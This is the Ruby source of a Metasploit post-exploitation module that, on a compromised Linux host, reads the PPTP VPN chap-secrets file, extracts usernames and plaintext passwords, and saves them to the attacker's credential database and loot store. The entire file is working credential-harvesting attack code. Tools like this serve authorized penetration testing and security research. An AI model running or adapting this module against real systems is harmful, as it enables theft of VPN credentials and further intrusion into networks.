132 lines
3.1 KiB
Ruby
132 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',
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'Description' => %q{
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This module collects PPTP VPN information such as client, server, password,
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and IP from your target server's chap-secrets file.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'sinn3r'],
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'Platform' => [ 'linux' ],
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'SessionTypes' => [ 'shell', 'meterpreter' ]
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)
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)
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register_options(
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[
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OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])
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]
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)
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end
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#
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# Reads chap_secrets
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#
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def load_file(fname)
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begin
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data = read_file(fname)
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error("Failed to retrieve file. #{e.message}")
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data = ''
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end
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fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data
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return data
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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module_fullname: fullname,
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post_reference_name: refname,
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session_id: session_db_id,
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origin_type: :session,
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private_data: opts[:password],
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private_type: :password,
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username: opts[:user]
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED
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}.merge(service_data)
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create_credential_login(login_data)
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end
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#
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# Extracts client, server, secret, and IP addresses
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#
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def extract_secrets(data)
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tbl = Rex::Text::Table.new({
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'Header' => 'PPTPd chap-secrets',
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'Indent' => 1,
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'Columns' => ['Client', 'Server', 'Secret', 'IP']
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})
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data.each_line do |l|
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# If this line is commented out, ignore it
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next if l =~ /^[[:blank:]]*#/
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found = l.split
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# Nothing is found, skip!
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next if found.empty?
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client = (found[0] || '').strip
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server = (found[1] || '').strip
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secret = (found[2] || '').strip
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ip = (found[3, found.length] * ', ' || '').strip
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report_cred(
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ip: session.session_host,
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port: 1723, # PPTP port
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service_name: 'pptp',
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user: client,
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password: secret
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)
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tbl << [client, server, secret, ip]
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end
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if tbl.rows.empty?
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print_status("This file has no secrets: #{datastore['FILE']}")
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else
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print_line(tbl.to_s)
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p = store_loot(
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'linux.chapsecrets.creds',
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'text/csv',
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session,
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tbl.to_csv,
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File.basename(datastore['FILE'] + '.txt')
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)
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print_good("Secrets stored in: #{p}")
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end
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end
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def run
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fname = datastore['FILE']
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f = load_file(fname)
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extract_secrets(f)
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end
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end
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